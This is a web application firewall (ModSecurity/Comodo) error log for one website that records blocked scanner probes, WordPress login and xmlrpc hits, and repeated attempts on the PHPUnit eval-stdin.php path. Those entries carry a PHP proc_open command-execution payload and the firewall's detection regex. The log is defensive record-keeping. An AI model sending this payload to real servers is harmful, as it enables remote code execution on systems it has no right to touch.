[Fri Mar 06 13:42:45.980284 2026] [:error] [pid 16140:tid 16153] [client 145.239.69.106:37648] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aappVZZVpEeGhAeSpv0jegAAAQs"]
[Fri Mar 06 13:42:48.509291 2026] [:error] [pid 8656:tid 8827] [client 145.239.69.106:37650] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aappWJPxTG9Ff1TtP6NpkAAAAJE"]
[Fri Mar 06 13:42:50.948557 2026] [:error] [pid 8656:tid 8823] [client 145.239.69.106:37660] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aappWpPxTG9Ff1TtP6NplwAAAI0"]
[Fri Mar 06 13:42:53.468352 2026] [:error] [pid 8945:tid 8967] [client 145.239.69.106:48882] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aappXQttiLGNg13nMzLk_AAAAMA"]
[Fri Mar 06 13:42:55.873374 2026] [:error] [pid 8656:tid 8819] [client 145.239.69.106:48888] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aappX5PxTG9Ff1TtP6NprAAAAIk"]
[Fri Mar 06 13:42:58.294472 2026] [:error] [pid 8656:tid 8819] [client 145.239.69.106:48904] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aappYpPxTG9Ff1TtP6NptwAAAIk"]
[Fri Mar 06 13:43:00.756461 2026] [:error] [pid 8945:tid 8970] [client 145.239.69.106:48910] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aappZAttiLGNg13nMzLlFAAAAMM"]
[Fri Mar 06 13:43:03.237341 2026] [:error] [pid 8656:tid 8810] [client 145.239.69.106:33064] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aappZ5PxTG9Ff1TtP6NpzwAAAIA"]
[Fri Mar 06 13:43:05.618461 2026] [:error] [pid 8945:tid 8991] [client 145.239.69.106:33068] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aappaQttiLGNg13nMzLlIQAAANg"]
[Fri Mar 06 13:43:08.159016 2026] [:error] [pid 16140:tid 16144] [client 145.239.69.106:33084] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aappbJZVpEeGhAeSpv0jlwAAAQI"]
[Fri Mar 06 13:43:10.699097 2026] [:error] [pid 8945:tid 8981] [client 145.239.69.106:33098] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aappbgttiLGNg13nMzLlJgAAAM4"]
[Fri Mar 06 13:43:13.015544 2026] [:error] [pid 8652:tid 8795] [client 145.239.69.106:38204] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aappcdYc_V4I9STsZ9BGSQAAAEw"]
[Fri Mar 06 13:43:15.548052 2026] [:error] [pid 8648:tid 8767] [client 145.239.69.106:38210] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aappc0hAk6X-gF6akMR2NwAAABQ"]
[Fri Mar 06 13:43:18.124273 2026] [:error] [pid 8656:tid 8821] [client 145.239.69.106:38214] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aappdpPxTG9Ff1TtP6NqFAAAAIs"]
[Fri Mar 06 13:43:20.673163 2026] [:error] [pid 16140:tid 16143] [client 145.239.69.106:38216] [client 145.239.69.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aappeJZVpEeGhAeSpv0jnAAAAQE"]
[Fri Mar 06 14:46:55.923015 2026] [:error] [pid 16140:tid 16159] [client 129.226.93.214:56292] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aap4X5ZVpEeGhAeSpv0-3gAAARE"]
[Fri Mar 06 14:49:53.576070 2026] [:error] [pid 59040:tid 59142] [client 37.19.107.28:26853] [client 37.19.107.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.19.107.28, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aap5EbhQWeDH4WbmEIh7mQAAAxc"]
[Fri Mar 06 14:50:12.523164 2026] [:error] [pid 8656:tid 8831] [client 190.86.73.222:29718] [client 190.86.73.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.86.73.222, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aap5JJPxTG9Ff1TtP6ONhwAAAJU"]
[Fri Mar 06 15:48:35.341034 2026] [:error] [pid 59040:tid 59137] [client 43.154.250.181:34162] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaqG07hQWeDH4WbmEIiAngAAAxU"]
[Fri Mar 06 19:51:31.843809 2026] [:error] [pid 59198:tid 59201] [client 49.51.233.46:43626] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaq_w9FYTNmfCEavFrJQRgAAA0E"]
[Fri Mar 06 21:36:17.743235 2026] [:error] [pid 16140:tid 16164] [client 147.135.252.148:48102] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aarYUZZVpEeGhAeSpv3-FAAAARY"]
[Fri Mar 06 21:36:20.234069 2026] [:error] [pid 59198:tid 59216] [client 147.135.252.148:45068] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aarYVNFYTNmfCEavFrJhYwAAA08"]
[Fri Mar 06 21:36:22.514262 2026] [:error] [pid 59237:tid 59246] [client 147.135.252.148:45080] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aarYVuqfMSBs0nxOTxFjZAAAA4Q"]
[Fri Mar 06 23:10:55.094588 2026] [:error] [pid 8656:tid 8826] [client 62.60.131.218:59425] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaruf5PxTG9Ff1TtP6PK1gAAAJA"]
[Sat Mar 07 03:22:36.962176 2026] [:error] [pid 23853:tid 23862] [client 148.222.231.107:58675] [client 148.222.231.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.222.231.107, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaspfHNwhuLw8Ep_7YpORgAAAMc"]
[Sat Mar 07 04:53:30.445353 2026] [:error] [pid 4315:tid 4462] [client 78.109.78.74:64783] [client 78.109.78.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.78.74, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aas-ytDEK9AXzxu9OSge8wAAAI8"]
[Sat Mar 07 04:53:53.460426 2026] [:error] [pid 4315:tid 4471] [client 180.110.203.108:33474] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aas-4dDEK9AXzxu9OSgfEwAAAJY"]
[Sat Mar 07 05:14:18.694173 2026] [:error] [pid 4609:tid 4640] [client 114.10.13.253:27440] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDquP7JMxUbw4Fd1YdfAAAAMw"]
[Sat Mar 07 05:14:20.266799 2026] [:error] [pid 4315:tid 4472] [client 114.10.13.253:27441] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDrNDEK9AXzxu9OSglbgAAAJc"]
[Sat Mar 07 05:14:22.119771 2026] [:error] [pid 4609:tid 4629] [client 114.10.13.253:27442] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDruP7JMxUbw4Fd1YdhwAAAME"]
[Sat Mar 07 05:14:24.005063 2026] [:error] [pid 52484:tid 52523] [client 114.10.13.253:40092] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDr_E9AnX6zUICFeTL2gAAARM"]
[Sat Mar 07 05:14:25.370449 2026] [:error] [pid 52484:tid 52517] [client 114.10.13.253:40093] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDsfE9AnX6zUICFeTL4wAAAQ4"]
[Sat Mar 07 05:14:27.717794 2026] [:error] [pid 52484:tid 52509] [client 114.10.13.253:40094] [client 114.10.13.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aatDs_E9AnX6zUICFeTL5wAAAQY"]
[Sat Mar 07 10:16:11.631749 2026] [:error] [pid 4609:tid 4630] [client 49.51.73.183:37432] [client 49.51.73.183] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aauKa-P7JMxUbw4Fd1apDQAAAMI"]
[Sat Mar 07 14:37:31.907027 2026] [:error] [pid 37998:tid 38056] [client 34.24.47.138:49740] [client 34.24.47.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aavHq8l3xHpv0STGaSbA3gAAAUw"]
[Sat Mar 07 14:43:27.647002 2026] [:error] [pid 52484:tid 52509] [client 147.135.213.27:56442] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aavJD_E9AnX6zUICFeReogAAAQY"]
[Sat Mar 07 14:43:30.309617 2026] [:error] [pid 52484:tid 52510] [client 147.135.213.27:56446] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aavJEvE9AnX6zUICFeReqAAAAQc"]
[Sat Mar 07 14:43:32.714768 2026] [:error] [pid 37998:tid 38067] [client 147.135.213.27:56460] [client 147.135.213.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aavJFMl3xHpv0STGaSbELAAAAVc"]
[Sat Mar 07 16:18:39.628069 2026] [:error] [pid 52484:tid 52507] [client 43.153.10.83:51112] [client 43.153.10.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aavfX_E9AnX6zUICFeRyLwAAAQQ"]
[Sat Mar 07 16:53:37.787177 2026] [:error] [pid 4315:tid 4465] [client 89.163.146.197:64618] [client 89.163.146.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aavnkdDEK9AXzxu9OSjKMQAAAJE"], referer: www.google.com
[Sat Mar 07 17:01:19.879663 2026] [:error] [pid 4609:tid 4646] [client 193.32.126.227:62104] [client 193.32.126.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.126.227, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aavpX-P7JMxUbw4Fd1ZGrQAAANI"]
[Sat Mar 07 17:01:20.893383 2026] [:error] [pid 37998:tid 38068] [client 193.32.126.227:62139] [client 193.32.126.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.126.227, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aavpYMl3xHpv0STGaSYMVQAAAVg"]
[Sat Mar 07 17:24:44.772550 2026] [:error] [pid 36899:tid 36924] [client 49.51.52.250:34294] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aavu3DIlMfwxLHrLy_8_BAAAAYI"]
[Sat Mar 07 17:32:16.638988 2026] [:error] [pid 36899:tid 36932] [client 36.41.75.167:47169] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aavwoDIlMfwxLHrLy_9DqAAAAYk"]
